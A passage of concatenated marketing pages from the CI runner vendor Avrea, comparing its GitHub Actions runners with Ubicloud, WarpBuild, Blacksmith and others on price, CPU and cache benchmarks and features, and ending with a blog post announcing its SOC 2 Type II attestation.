of five runs per runner. *Avrea vs Ubicloud: x86 CPU scores by runner size* | PassMark test and runner size | Avrea | Ubicloud standard | Ubicloud premium | | --- | --- | --- | --- | | Single-thread, 2 vCPU / 8 GB | 4,320 | 2,916 | 2,933 | | Single-thread, 4 vCPU / 16 GB | 4,243 | 2,878 | 3,090 | | Single-thread, 8 vCPU / 32 GB | 4,273 | 2,759 | 4,038 | | All cores, 2 vCPU / 8 GB | 5,856 | 5,220 | 4,583 | | All cores, 4 vCPU / 16 GB | 11,174 | 9,973 | 9,041 | | All cores, 8 vCPU / 32 GB | 21,356 | 16,058 | 24,720 | Avrea leads single-thread at all three sizes and all-core at 2 and 4 vCPU. Ubicloud premium leads all-core at 8 vCPU. Within Ubicloud, standard scores higher than premium on the 2- and 4-vCPU all-core tests, despite premium’s higher single-thread scores. [RunsOn CPU results](https://runs-on.com/benchmarks/github-actions-cpu-performance/). Ubicloud’s lower rates buy more CPU throughput per dollar in these synthetic tests. Cache transfers and the other steps in a workflow also affect completed-job cost. For the 4-vCPU / 16-GB x86 cache test, Avrea restores the 4-GB file in 14 seconds, compared with 66 seconds on Ubicloud standard and 72 seconds on premium. *Avrea vs Ubicloud: 4-vCPU / 16-GB x86 cache transfers* | Runner and cache backend | Restore | Save | | --- | --- | --- | | Avrea with Avrea cache | 14 s | 20 s | | Ubicloud standard with Ubicloud cache | 66 s | 50 s | | Ubicloud premium with Ubicloud cache | 72 s | 50 s | These cache transfers use each provider’s backend through `actions/cache`. CPU scores and file transfers measure parts of a build, not complete job times. RunsOn also sells runners. These cache results are medians of five runs per runner. [Cache results](https://runs-on.com/benchmarks/github-actions-cache-performance/). Data: RunsOn, [CC BY 4.0 and methodology](https://runs-on.com/benchmarks/methodology/); selected configurations and shortened labels. ## Cache capacity and cache reuse Both services let existing supported Actions cache calls use their own cache backend. Ubicloud’s transparent cache also supports setup actions and Docker’s `type=gha` cache. Its standard allowance is 30 GB per repository; enabling premium increases that to 100 GB, shared by premium jobs and any fallback jobs. [Ubicloud cache](https://www.ubicloud.com/docs/github-actions-integration/ubicloud-cache). Avrea includes 25 GB per repository across regular Actions, package and build-cache entries, with more storage available to purchase. Its package proxies reuse downloaded dependencies, while build-tool caches for Turborepo, Gradle, Bazel and sccache reuse outputs whose inputs are unchanged. [Avrea cache](https://docs.avrea.com/cache/overview/), [storage](https://docs.avrea.com/cache/storage/), [build-cache integrations](https://docs.avrea.com/cache/build-cache/overview/). Avrea’s persistent disks retain Docker images, layers and builder state between jobs once enabled for the repository. Its BuildKit cache endpoint also lets Docker reuse earlier build outputs. Persistent disks cost $0.50 per provisioned GB per month, separate from the included repository cache. [Avrea Docker caching](https://docs.avrea.com/cache/build-cache/docker/). Ubicloud offers additional storage in 25-GB increments at $0.04 per GB-month. Both providers evict unused regular cache entries after seven days. Capacity matters when entries are being evicted; cache-hit rates and work skipped determine how much build time that capacity saves. ## From a failed job to a tested fix Avrea’s CPU and memory metrics, searchable logs and live-job SSH help trace a failure to the step and resource conditions that caused it. You can inspect the running environment and compare resource use with the job’s logs. [Avrea observability](https://avrea.com/observability), [debugging](https://docs.avrea.com/debugging/). [Avrea AI](https://avrea.com/quality) uses the failing run, diff and test history to propose a fix. It runs the full test suite and opens a pull request for review when validation passes. The same validation approach applies to proposed dependency and tooling changes. Ubicloud also supports SSH into running jobs. Add its SSH action to the workflow with your public key to inspect the ephemeral runner while the job is active. [Ubicloud SSH](https://www.ubicloud.com/docs/github-actions-integration/debug-workflow-with-ssh). ## Common questions ### Is Ubicloud cheaper than Avrea? Per minute, yes. Ubicloud lists $0.00125 per minute for a standard 2-vCPU / 8-GB x86 runner and $0.002 for premium, against Avrea’s $0.004. The monthly bill also depends on how long jobs run and on included usage: Avrea includes 3,000 minutes a month and Ubicloud gives $2.50 of monthly credit. ### Do I have to self-host Ubicloud to use its runners? No. Ubicloud’s managed GitHub Actions runners are a hosted service, like Avrea’s. Deploying its open-source cloud software on your own servers is a separate option that the runner comparison above does not depend on. ### Which is faster, Avrea or Ubicloud? In RunsOn’s 14 October 2026 x86 results, Avrea has the higher single-thread score at 2, 4 and 8 vCPU and the higher all-core score at 2 and 4 vCPU; Ubicloud premium leads all-core at 8 vCPU. Avrea restored a 4 GB Actions cache in 14 seconds against 66 to 72 seconds on Ubicloud. These are component tests, not complete build times. ### Does Ubicloud run macOS or Windows jobs? Its managed runner catalog lists Ubuntu Linux on x86 and ARM. Avrea runs Linux, macOS and Windows jobs, so teams building Apple or Windows applications have a different requirement to account for. ## Related reading - [Fastest GitHub Actions runners](https://avrea.com/blog/fastest-github-actions-runners): CPU scores, caching and real-build evidence. - [GitHub Actions pricing](https://avrea.com/blog/github-actions-pricing): rates, included usage and completed-job costs. - [GitHub Actions caching](https://avrea.com/blog/github-actions-cache): cache keys, build outputs and persistent storage. - [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith): CPU and cache benchmarks, Docker caching and AI-assisted fixes. - [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild): equal x86 minute rates, cache benchmarks and BYOC. - [All runner comparisons](https://avrea.com/alternatives): the wider provider comparison. ## Try Avrea on your workflow Connect a repository with the [setup guide](https://docs.avrea.com/getting-started/) and change the job’s runner label. Compare a cold build, a warm repeat and a source change to see the effect on your own build and test time. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/avrea-vs-warpbuild # Avrea vs WarpBuild Evaluating Avrea as a WarpBuild alternative? Compare GitHub Actions runner prices, CPU and cache benchmarks, Docker builds, BYOC and CI debugging. Avrea and WarpBuild list the same Linux x86 rates at matching CPU and memory sizes. WarpBuild also offers managed runners inside your own cloud account. *Avrea vs WarpBuild: features at a glance* | Feature | Avrea | WarpBuild | | --- | --- | --- | | Hosted operating systems | Linux, macOS and Windows | Linux, macOS and Windows | | Linux x86, 2 vCPU / 8 GB | $0.004/min | $0.004/min | | Actions caching | Existing supported `actions/cache` and setup actions use Avrea's cache automatically | GitHub's cache, or WarpBuild's cache through its cache and setup actions | | Included cache storage | 25 GB per repository; more available to purchase | Hosted cache storage and operations billed separately | | Docker caching | Persistent disks ($0.50/provisioned GB/month) and a BuildKit cache endpoint | Remote Docker builders with persistent layer caching | | Debugging | Resource metrics, searchable logs and live-job SSH | Resource metrics, logs, sizing recommendations and SSH | | Deployment | Avrea-managed infrastructure | WarpBuild Cloud or BYOC in AWS, GCP and Azure | [Avrea runners](https://docs.avrea.com/runners/), [cache](https://docs.avrea.com/cache/overview/) and [observability](https://avrea.com/observability). [WarpBuild runners](https://www.warpbuild.com/docs/ci/what-is-warpbuild), [cache](https://www.warpbuild.com/docs/ci/features/caching), [observability](https://www.warpbuild.com/docs/ci/features/observability) and [BYOC](https://www.warpbuild.com/docs/ci/byoc). ## Hosted runner pricing Prices checked 15 October 2026. The x86 compute rate is equal across these three sizes. Cache charges and job duration can still change the total. *Avrea vs WarpBuild: hosted runner pricing* | Linux x86 runner | Avrea | WarpBuild Cloud | | --- | --- | --- | | 2 vCPU / 8 GB | $0.004/min | $0.004/min | | 4 vCPU / 16 GB | $0.008/min | $0.008/min | | 8 vCPU / 32 GB | $0.016/min | $0.016/min | Avrea is pay as you go with no monthly base fee. It includes 3,000 monthly minutes in 2-vCPU equivalents, with larger runners using that allowance proportionally. Avrea’s allowance is shared with other metered usage, including static IPs and persistent disks. [Avrea pricing](https://avrea.com/pricing). If you use WarpBuild’s hosted cache, storage costs $0.20 per GB-month, plus $0.0001 per write, restore or list operation. Holding 25 GB for a month costs $5 before operations; Avrea includes 25 GB per repository. WarpBuild’s snapshot runners add $0.04 per restore job and $0.025 per hour of stored snapshot. [WarpBuild pricing](https://www.warpbuild.com/pricing), [cache billing](https://www.warpbuild.com/docs/ci/features/caching). For 10,000 runner minutes on a 2-vCPU / 8-GB x86 machine, compute is $40 with either provider before free usage. Avrea includes 25 GB of cache per repository; WarpBuild’s hosted cache and any snapshot or remote-builder usage add to compute. The [GitHub Actions pricing guide](https://avrea.com/blog/github-actions-pricing) covers how runtime, included usage and cache costs affect the bill. ### Linux ARM hardware Avrea’s Linux ARM runners use Apple M5 Max hardware. A 2-vCPU / 8-GB ARM runner is $0.012/min on Avrea and $0.003/min on WarpBuild’s standard Linux ARM tier. At 4 vCPU, RunsOn reports single-thread scores of 4,860 for Avrea and 1,942 for WarpBuild’s standard ARM runner. [Avrea pricing](https://avrea.com/pricing), [WarpBuild pricing](https://www.warpbuild.com/pricing), [RunsOn CPU results](https://runs-on.com/benchmarks/github-actions-cpu-performance/). WarpBuild also offers Linux ARM on Apple Silicon. Here are two published Apple-based configurations, with their different CPU and memory allocations shown: *Avrea vs WarpBuild: Linux ARM on Apple Silicon* | Linux ARM runner | Hardware | Size | Price/min | Single-thread score | | --- | --- | --- | --- | --- | | Avrea | Apple M5 Max | 8 vCPU / 32 GB | $0.048 | 4,842 | | WarpBuild xfast | Apple M4 Pro | 6 vCPU / 14 GB | $0.08 | 3,221 | Avrea has the lower minute rate and higher single-thread score in this pair. The machines differ in size and chip generation; the CPU scores do not measure complete workflow duration. [Runner prices](https://avrea.com/pricing), [WarpBuild’s Apple Silicon tier](https://www.warpbuild.com/pricing), [CPU results](https://runs-on.com/benchmarks/github-actions-cpu-performance/). ### macOS hardware For macOS, Avrea lists an 8-vCPU / 24-GB M5 Max runner at $0.08/min. WarpBuild lists a 6-vCPU / 14-GB M4 Pro runner at the same rate. Those configurations have different hardware and memory, so an equal minute price does not make them equivalent machines. ## CPU benchmarks RunsOn’s 14 October 2026 results show Avrea and WarpBuild within roughly 1% on both CPU tests at the matched 4-vCPU / 16-GB x86 size. The CPU scores on this page are medians of five runs per runner. *Avrea vs WarpBuild: 4-vCPU / 16-GB x86 CPU scores* | PassMark test, Linux x86 | Avrea | WarpBuild | | --- | --- | --- | | Single-thread | 4,243 | 4,196 | | CPU Mark, all cores | 11,174 | 11,083 | These synthetic CPU tests measure processor performance; workflow duration also depends on disk, caches and the work each step performs. [RunsOn CPU results](https://runs-on.com/benchmarks/github-actions-cpu-performance/). ## Actions cache benchmarks Avrea restores the 4-GB test cache in 14 seconds in RunsOn’s 4-vCPU / 16-GB x86 results. The WarpBuild runner using GitHub’s cache restores it in 33 seconds; WarpBuild’s own cache action is a separate result. *Avrea vs WarpBuild: 4-vCPU / 16-GB x86 cache transfers* | Runner and cache backend | Restore | Save | | --- | --- | --- | | Avrea with Avrea cache | 14 s | 20 s | | WarpBuild with GitHub cache | 33 s | 15 s | | WarpBuild with `WarpBuilds/cache` | 70 s | 84 s | The test saves a 4-GB file, deletes it and restores it. Each result is the median of five runs. It does not measure Docker builders, snapshots or complete dependency installations. RunsOn sells runners too; these vendor-published results can change with workload and configuration. [Cache results and backend details](https://runs-on.com/benchmarks/github-actions-cache-performance/). Data: RunsOn, [CC BY 4.0 and methodology](https://runs-on.com/benchmarks/methodology/); selected configurations and shortened labels. ## Caching dependencies and build outputs Avrea keeps supported Actions cache calls on the same workflow syntax. Its package proxies reuse downloaded dependencies, while integrations for tools such as Turborepo, Gradle, Bazel and sccache reuse build outputs. A warm build can then skip work whose inputs have not changed. [Avrea cache](https://docs.avrea.com/cache/overview/), [build-tool integrations](https://docs.avrea.com/cache/build-cache/overview/). WarpBuild’s cache integration replaces `actions/cache` with `WarpBuilds/cache`. Its setup actions connect language dependency caches to the same service. This is separate from leaving the original action pointed at GitHub’s storage, which is why the benchmark shows two WarpBuild rows. [WarpBuild caching](https://www.warpbuild.com/docs/ci/features/caching). Avrea’s regular cache allowance is 25 GB per repository across Actions, package and build-cache entries, with additional storage available to purchase. Entries unused for seven days are eligible for eviction. [Storage and eviction](https://docs.avrea.com/cache/storage/). ## Docker builds and persistent state Avrea’s persistent disks retain Docker images, layers and builder state between jobs once enabled for the repository. It also provides a BuildKit cache endpoint, so subsequent jobs can reuse earlier build outputs. Persistent disks cost $0.50 per provisioned GB per month, separate from the included repository cache. [Avrea Docker caching](https://docs.avrea.com/cache/build-cache/docker/). WarpBuild offers remote Docker builders that run the build on a separate machine with local layer storage. Builder profiles are shared across jobs, and builder time is billed separately from the GitHub runner coordinating the workflow. [WarpBuild Docker builders](https://www.warpbuild.com/products/ci/docker-builders), [builder pricing](https://www.warpbuild.com/pricing). Persistent storage is available on both platforms. The difference here is how the Docker build runs and how that compute is billed, rather than whether either provider can retain cache data. ## Debugging and AI-assisted fixes Avrea’s resource metrics and searchable logs help connect a slow step or failed process to what happened inside the job. SSH access lets you inspect the running environment directly. [Avrea observability](https://avrea.com/observability), [debugging](https://docs.avrea.com/debugging/). [Avrea AI](https://avrea.com/quality) uses logs, code changes and test history to work on a fix. It runs the proposed change through the full test suite and opens a pull request when validation passes. That brings the investigation and a tested change into the same CI workflow. WarpBuild also provides CPU, memory, disk and network telemetry, logs and runner-sizing recommendations. Its docs note that observability collects jobs longer than roughly one minute and supports exporting telemetry to your own backend. [WarpBuild observability](https://www.warpbuild.com/docs/ci/features/observability). ## Running inside your own cloud account WarpBuild BYOC manages runners in your AWS, GCP or Azure account. You choose the cloud configuration, including regions, networking and machine images. Its listed Linux platform charge is $0.002 per runner minute, with your cloud infrastructure billed in addition. [BYOC setup](https://www.warpbuild.com/docs/ci/byoc), [pricing](https://www.warpbuild.com/pricing). Avrea runs the infrastructure for you. For services protected by IP allowlists, it offers static egress IPs at $100 per IP per month, listed with Enterprise features. A static IP solves fixed outbound addressing; it does not place the runner inside your own VPC. [Avrea static IPs](https://avrea.com/blog/github-actions-static-ip), [pricing](https://avrea.com/pricing). ## Common questions ### Do Avrea and WarpBuild charge the same per minute? For hosted Linux x86 runners, yes. Both list $0.004 per minute at 2 vCPU / 8 GB, $0.008 at 4 vCPU and $0.016 at 8 vCPU. The bill then depends on job duration, included usage and cache charges. Avrea includes 3,000 monthly minutes and 25 GB of cache per repository; WarpBuild bills hosted cache storage and operations separately. ### Do I need to change my workflow to use Avrea’s cache? No. Supported actions/cache and setup-action calls are routed to Avrea’s cache automatically when the job runs on an Avrea runner. WarpBuild’s own cache requires replacing actions/cache with WarpBuilds/cache or using its setup actions; otherwise the job keeps using GitHub’s cache service. ### Which restores Actions caches faster? In RunsOn’s 14 October 2026 test on 4-vCPU / 16-GB x86 runners, Avrea restored a 4 GB cache in 14 seconds. WarpBuild took 33 seconds with GitHub’s cache and 70 seconds with its own cache action. Each result is the median of five runs; these are transfer tests, not complete build times. ### Does Avrea offer BYOC like WarpBuild? No. Avrea runs the infrastructure for you. For services behind IP allowlists it offers static egress IPs at $100 per IP per month on the Enterprise plan. WarpBuild BYOC places runners in your own AWS, GCP or Azure account for $0.002 per Linux runner minute plus your cloud bill. ## Related reading - [Fastest GitHub Actions runners](https://avrea.com/blog/fastest-github-actions-runners): CPU, cache and complete-build results. - [GitHub Actions caching](https://avrea.com/blog/github-actions-cache): cache keys, build caches and persistent storage. - [Avrea vs Depot](https://avrea.com/avrea-vs-depot): another comparison involving remote Docker builders. - [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith): the same x86 minute rate, with CPU and cache benchmarks. - [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud): managed runners with lower list prices inside an open-source cloud. - [All runner comparisons](https://avrea.com/alternatives): pricing and links to the other providers. ## Try Avrea on your workflow Install the Avrea GitHub App and change the job’s runner label using the [setup guide](https://docs.avrea.com/getting-started/). Compare a cold build, a warm repeat and a run with a source change to measure the effect on your workflow. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/blacksmith-alternatives # Blacksmith alternatives for GitHub Actions runners Seven alternatives to Blacksmith for GitHub Actions runners: Avrea, Depot, WarpBuild, Namespace, Ubicloud, RunsOn and GitHub, with dated prices and benchmarks. These providers run your existing GitHub Actions workflows. Compare runner prices, cache setup and where each provider runs your jobs. ## Which alternative to pick - Avrea, if build time matters most. It had the fastest ARM builds and the fastest x86 Rust build in RunsOn’s November benchmark, and charges Blacksmith’s x86 rate. - Ubicloud, if the per-minute rate matters most. - RunsOn or WarpBuild, if runners have to run in your own cloud account. - Depot, WarpBuild or Namespace, if you want remote Docker builders. - GitHub’s larger runners, if you’d rather keep CI with one vendor. ## Prices for a 2-vCPU Linux runner Prices checked 11 November 2026. Avrea, Blacksmith and WarpBuild charge $0.004 a minute for a 2-vCPU x86 runner with 8 GB, and Namespace charges the same within a paid plan. ARM prices vary more, partly because the hardware does. *Blacksmith alternatives: prices for a 2-vCPU Linux runner* | Provider | x86 | ARM | Plan fee | Included | | --- | --- | --- | --- | --- | | Blacksmith | $0.004 | $0.0025 | None | 3,000 minutes | | Avrea | $0.004 | $0.012 | None | 3,000 minutes | | Depot | $0.006 | $0.006 | $20 or $200 | 2,000 or 20,000 minutes | | WarpBuild | $0.004 | $0.003 | None | $10 credit at signup | | Namespace | $0.004 in plan | $0.004 in plan | $0 or $100 | 25,000 minutes on Team | | Ubicloud | $0.00125 | $0.00125 | None | $2.50 credit a month | | RunsOn | AWS price | AWS price | From €300 a year | 15-day trial | | GitHub-hosted | $0.006 | $0.005 | GitHub plan | $12 to $300 of usage | Prices are per minute for a 2-vCPU Linux runner with 8 GB; Blacksmith’s and Ubicloud’s ARM runners have 6 GB. Depot’s plans are $20 for one user and $200 for unlimited users. Namespace charges $0.006 beyond a paid plan’s included minutes, and its $100 Team plan’s 100,000 unit minutes cover 25,000 minutes on 2-vCPU, 8-GB runners. Ubicloud’s premium x86 runners cost $0.002. Avrea’s ARM runners are Apple M5 Max machines. WarpBuild also sells Linux ARM runners on Apple silicon, from 6 vCPU at $0.08 a minute, and Namespace has them in early access; the other ARM runners here use server processors such as Graviton4, AmpereOne and Ampere Altra. The build results below show what that difference does to job time, and a job that finishes sooner bills fewer minutes. Rates exclude storage, add-ons and enterprise terms. Each provider converts included usage into runner minutes at its own ratio. Avrea’s monthly credit is equivalent to 3,000 minutes on 2-vCPU Linux x86 runners and is shared with other metered usage, including persistent disks and static IPs. Avrea and Depot meter jobs by the second; GitHub rounds each job up to a whole minute. Standard GitHub-hosted runners are free in public repositories. On macOS, Avrea’s smallest runner has 8 vCPU and 24 GB on Apple M5 Max for $0.08 a minute. Blacksmith (M4) and WarpBuild (M4 Pro or M5 Pro) charge the same for 6 vCPU, and Depot for 8 vCPU. Namespace starts at $0.04 for 4 vCPU within a plan, and GitHub’s standard macOS runner is $0.062. Ubicloud and RunsOn have no macOS runners. Sources: [Blacksmith pricing](https://www.blacksmith.sh/pricing) and [runner specifications](https://docs.blacksmith.sh/blacksmith-runners/overview), [Avrea pricing](https://avrea.com/pricing), [Depot pricing](https://depot.dev/pricing) and [runner types](https://depot.dev/docs/github-actions/runner-types), [WarpBuild pricing](https://www.warpbuild.com/pricing), [Namespace pricing](https://namespace.so/pricing), [Ubicloud pricing](https://www.ubicloud.com/docs/about/pricing), [RunsOn pricing](https://runs-on.com/pricing/), [GitHub runner rates](https://docs.github.com/en/billing/reference/actions-runner-pricing) and [included usage](https://docs.github.com/en/billing/concepts/product-billing/github-actions). ## Build and cache results at 4 vCPU RunsOn, a runner vendor that also appears in the table, runs a public benchmark that builds the same projects on every provider’s runners, with its [workflows and method](https://runs-on.com/benchmarks/methodology/) published. The 4 November 2026 run built two projects from a cold start on 4-vCPU, 16-GB runners: the Rust project spotify-player, with its tests and clippy, and PostHog’s production Docker image. The table shows median build times from five runs, and the median time to restore a 4 GB file through `actions/cache` in the 5 November cache test. Depot is not in the benchmark. *Blacksmith alternatives: build and cache results at 4 vCPU* | 4-vCPU runner | Rust, x86 | Rust, ARM | Docker, x86 | Docker, ARM | Cache, x86 | | --- | --- | --- | --- | --- | --- | | Avrea | 86 s | 77 s | 292 s | 286 s | 11 s | | Blacksmith | 100 s | 243 s | 301 s | 626 s | 12 s | | Namespace | 91 s | 340 s | 280 s | 800 s | 18 s | | WarpBuild | 129 s | 181 s | 447 s | 602 s | 24 s | | RunsOn | 99 s | 106 s | 403 s | 384 s | 7 s | | GitHub-hosted | 213 s | 190 s | 773 s | 599 s | 44 s | | Ubicloud | 139 s | 341 s | 637 s | 821 s | 70 s | Avrea had the fastest ARM build in both projects: 3.2 times faster than Blacksmith on the Rust build and 2.2 times faster on the Docker image. On x86, Avrea had the fastest Rust build, Namespace built the Docker image 12 seconds sooner, and Blacksmith finished the Rust build 14 seconds and the Docker image 9 seconds behind Avrea. Avrea also restored the cache fastest of the hosted providers. These builds start without a warm cache, so they measure the machine and its network rather than cache reuse. Namespace’s ARM row is its AmpereOne runner; its Apple silicon Linux runner, in early access, built the two projects in 81 and 309 seconds. RunsOn’s row is its fastest EC2 instance with an EBS or local NVMe disk in each test, and Ubicloud’s is its standard runner. Namespace’s and WarpBuild’s cache times use GitHub’s cache service, because their own caches need a different action. Where a run failed, the median covers the successful runs. *Data: RunsOn, [benchmarks](https://runs-on.com/benchmarks/) and [cache results](https://runs-on.com/benchmarks/github-actions-cache-performance/), CC BY 4.0. We selected the 4-vCPU rows.* ## The alternatives ### Avrea We build Avrea. It runs GitHub Actions jobs on dedicated machines: Linux x86, Linux ARM and macOS on Apple M5 Max, and Windows Server 2025. At the same x86 rate as Blacksmith it finished both x86 builds above sooner, and its ARM runner had the fastest ARM builds in the benchmark. Supported `actions/cache` calls go to Avrea’s cache without workflow changes, with 25 GB per repository shared across Actions, LFS, build and package caches. Integrations for Turborepo, Gradle, Bazel, Nx, Go and sccache let a cache hit skip compilation or tests, and persistent disks keep Docker builder state between jobs for $0.50 per provisioned GB a month. Each job has searchable logs, CPU and memory metrics and SSH, and workflow analytics track failure and flake rates. Avrea AI, in beta, proposes a fix for a failing job and runs your tests on it before opening a pull request. GitHits moved its CI from Blacksmith to Avrea and reported 27% faster median test feedback while its test suite grew 22%. The team also split its pipeline into parallel stages during the move. Avrea is ISO 27001:2022 certified and SOC 2 Type II attested. [Read the GitHits case study](https://avrea.com/case-studies/githits) or the [full Avrea and Blacksmith comparison](https://avrea.com/avrea-vs-blacksmith). ### Depot Depot pairs its runners with remote Docker builders. `depot build` and `depot/build-push-action` send the build to a remote 16-CPU BuildKit machine with a persistent layer cache, billed at $0.04 a minute after the plan’s 500 or 5,000 included minutes. Its runners charge the same rate for x86 (AMD EPYC) and ARM (Graviton4) and come with a $20 single-user or $200 unlimited-user plan. Depot Cache also serves Bazel, Gradle, Turborepo, Nx and sccache. The runners work only for repositories owned by a GitHub organization, and Depot’s docs note longer macOS queues at busy times. [Avrea vs Depot](https://avrea.com/avrea-vs-depot). ### WarpBuild WarpBuild can deploy runners into your own AWS, GCP or Azure account for $0.002 a minute plus the cloud bill, with cache and snapshots included. Its hosted runners match Blacksmith’s x86 rate, macOS runs on M4 Pro or M5 Pro, and remote Docker builders start at 16 vCPU for $0.06 a minute. To use WarpBuild’s own cache on hosted runners, you replace `actions/cache` with `warpbuilds/cache`; storage and operations are billed separately. [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild). ### Namespace Namespace sells runners, remote Docker builders, cache volumes and devboxes from one account. Prices are set in unit minutes: a 2-vCPU, 8-GB Linux runner costs $0.004 a minute within a paid plan and $0.006 beyond it, and the Team plan is $100 a month. GitHub’s cache keeps working unchanged; Namespace’s NVMe cache volumes need its cache action and a few workflow edits. Linux ARM runs on AmpereOne, with Apple silicon Linux in early access, and Windows needs the Team plan or above. [Avrea vs Namespace](https://avrea.com/avrea-vs-namespace). ### Ubicloud Ubicloud’s managed runners are part of an open-source cloud platform and have the lowest hosted rate here, $0.00125 a minute for a standard 2-vCPU runner on x86 or ARM. Premium x86 runners cost $0.002, and new accounts get them by default. The transparent cache works without workflow changes and includes 30 GB per repository. Jobs run in European data centres by default, and there are no macOS or Windows runners. [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud). ### RunsOn RunsOn starts a fresh EC2 instance in your own AWS account for each job, from one CloudFormation stack. You pay AWS for the instances and a small control plane, and RunsOn a flat licence from €300 a year for under 50,000 jobs a month; it is free for non-profit, open-source and personal non-commercial projects. RunsOn’s own calculator puts a 4-vCPU spot instance at $0.0014 a minute in us-east-1, before the licence and control plane. Linux and Windows run on x86, ARM and GPU instances, and macOS jobs stay on GitHub’s runners. You manage the AWS account and its capacity. ### GitHub-hosted runners Staying on GitHub keeps CI with one vendor and one bill. Standard 2-core Linux runners are free in public repositories and $0.006 a minute in private ones. Larger runners need a Team or Enterprise Cloud plan, are billed in public repositories too, and cost $0.012 a minute for 4-core x86 and $0.008 for 4-core ARM. Each plan includes $12 to $300 of usage a month. [Avrea vs GitHub-hosted runners](https://avrea.com/avrea-vs-github-hosted-runners). ### Self-hosted runners with Actions Runner Controller Actions Runner Controller runs GitHub’s self-hosted runner on your own Kubernetes cluster. GitHub doesn’t charge for self-hosted runner minutes, so the cost is the cluster and the time it takes to run it: images, autoscaling, cache storage and security updates are yours. ## When staying on Blacksmith makes sense Blacksmith’s Actions cache needs no workflow changes and includes 25 GB per repository at no extra charge, and its runners are available in four regions across the US and Europe. Its 2-vCPU ARM rate, $0.0025 a minute, is the lowest here after Ubicloud’s, which suits ARM jobs that spend more time waiting than computing. Moving means replacing any `useblacksmith/*` Docker or sticky-disk steps, and the first runs elsewhere start with a cold cache. ## Common questions ### Which is the fastest Blacksmith alternative? Avrea, in RunsOn’s 4 November 2026 run on 4-vCPU runners. It had the fastest ARM builds of both projects and the fastest x86 Rust build, and restored the cache fastest of the hosted providers. Namespace built the x86 Docker image 12 seconds sooner than Avrea. Depot is not in the benchmark. ### Is Avrea faster than Blacksmith? In the same run, Avrea finished the x86 Rust build 14 seconds and the Docker image 9 seconds ahead of Blacksmith, at the same x86 per-minute rate. On ARM, Avrea was 3.2 times faster on the Rust build and 2.2 times faster on the Docker image. GitHits reported 27% faster median test feedback after moving from Blacksmith, a move during which it also split its pipeline into parallel stages. ### What is the cheapest alternative to Blacksmith? Per minute, Ubicloud’s standard runners: $0.00125 for 2 vCPU on x86 or ARM. With your own AWS account, RunsOn on spot instances can cost less, plus its annual licence. Per job, speed counts as well: Avrea charges Blacksmith’s x86 rate and finished the same x86 builds sooner, so the same job bills fewer minutes. ### Which Blacksmith alternatives run in my own cloud account? RunsOn runs in your AWS account. WarpBuild deploys runners into AWS, GCP or Azure for $0.002 a minute plus your cloud bill. Depot offers deployment into your AWS account on its Business plan. Actions Runner Controller runs on any Kubernetes cluster you operate. Avrea, Namespace and Ubicloud are hosted services; Avrea’s Enterprise plan adds an egress firewall and static IPs for teams that need network controls. ### Which alternatives have macOS runners? Avrea runs macOS 26 on Apple M5 Max at 8 and 16 vCPU. Depot runs macOS 26 on M4 at 8 vCPU, WarpBuild runs M4 Pro or M5 Pro at 6 and 12 vCPU, Namespace offers Apple silicon from 4 vCPU, and GitHub has standard and larger macOS runners. Ubicloud and RunsOn don’t run macOS. ### How do I move a workflow off Blacksmith? Change the job’s `runs-on` label to the new provider’s, for example `avrea-ubuntu-latest` for Avrea’s 2-vCPU, 8-GB x86 runner. On Avrea, the console’s migration wizard converts a workflow and opens the pull request for you. Replace any `useblacksmith/*` steps with the standard Docker actions or the new provider’s equivalent. Expect the first runs to rebuild caches from scratch, and compare a cold run, a repeat of the same commit and a typical change before deciding. ## Related reading - [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith): pricing, caching, CI fixes and GitHits’ results. - [Depot alternatives](https://avrea.com/depot-alternatives): runner and Docker build options for teams on Depot. - [Fastest ARM runners for GitHub Actions](https://avrea.com/blog/fastest-arm-github-actions-runners): the ARM build results in detail. - [GitHub Actions pricing](https://avrea.com/blog/github-actions-pricing): rates, included usage and completed-job costs. - [All runner comparisons](https://avrea.com/alternatives): the wider provider comparison. ## Try one job on Avrea Connect a repository with the [setup guide](https://docs.avrea.com/getting-started/), then change one job’s runner label. Run the same commits on both providers and compare duration and cost, including a cold cache. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing) --- Source: https://avrea.com/blog/avrea-is-soc-2-type-2-attested # Avrea is SOC 2 Type II attested Avrea is SOC 2 Type II attested. Learn what the attestation covers and what it means for teams building with Avrea. [Blog](https://avrea.com/blog) Company Avrea is SOC 2 Type II attested. Security has been part of the platform from day one, not something added later. Learn what the attestation covers and what it means for teams building with Avrea. [Jeppe Tiensuu](https://avrea.com/team/jeppe-tiensuu)3 June 2026 Security wasn't something we planned to add later. A CI platform sits directly in your software supply chain, handling source code, secrets, caches, and build artifacts. Getting the fundamentals right from day one wasn't optional, it was simply part of building a platform teams can trust. Avrea is SOC 2 Type II attested, covering the Security, Availability, and Confidentiality criteria. The attestation report was issued six weeks after our [ISO 27001:2022](https://avrea.com/blog/avrea-iso-27001-certified) certification. We run your builds and hold your source code, caches, and secrets. That is a lot of trust to ask for, and CI is exactly what attackers go after. ### How we did it We built Avrea security-first, so getting this right was never optional. The controls were designed to meet audit requirements before we booked either audit. We ran the ISO 27001 and SOC 2 audits in parallel. That’s only practical when the security posture is solid from day one, and it helped that the two frameworks overlap by about two-thirds. As a result, we can produce automated evidence reports on demand, which makes future audits and ongoing compliance significantly easier to maintain. ### What it means for you SOC 2 is a compliance standard used by many enterprises when running vendor security reviews. An independent third-party audit, performed in parallel with ISO 27001, gives you a verified record to stand behind. Whether you are a startup going through your first enterprise deal or a large organization managing a stack of vendor reviews, having a SOC 2 attested CI vendor in your stack removes one item from the evaluation list. The security posture is there from day one. Fast CI and a solid security posture come from the same place: building things right the first time. ### The report The initial attestation report covers the period 9 February to 9 May 2026. As an ongoing obligation, the report will be renewed annually. The full report is available under NDA. Trust documentation and certificates are at [trust.avrea.com](https://trust.avrea.com). System availability and incident history are at [status.avrea.com.](https://status.avrea.com) To request the report, reach out at [support@avrea.com](mailto:support@avrea.com). ## Explore other articles - 6 Nov 2026 StepSecurity 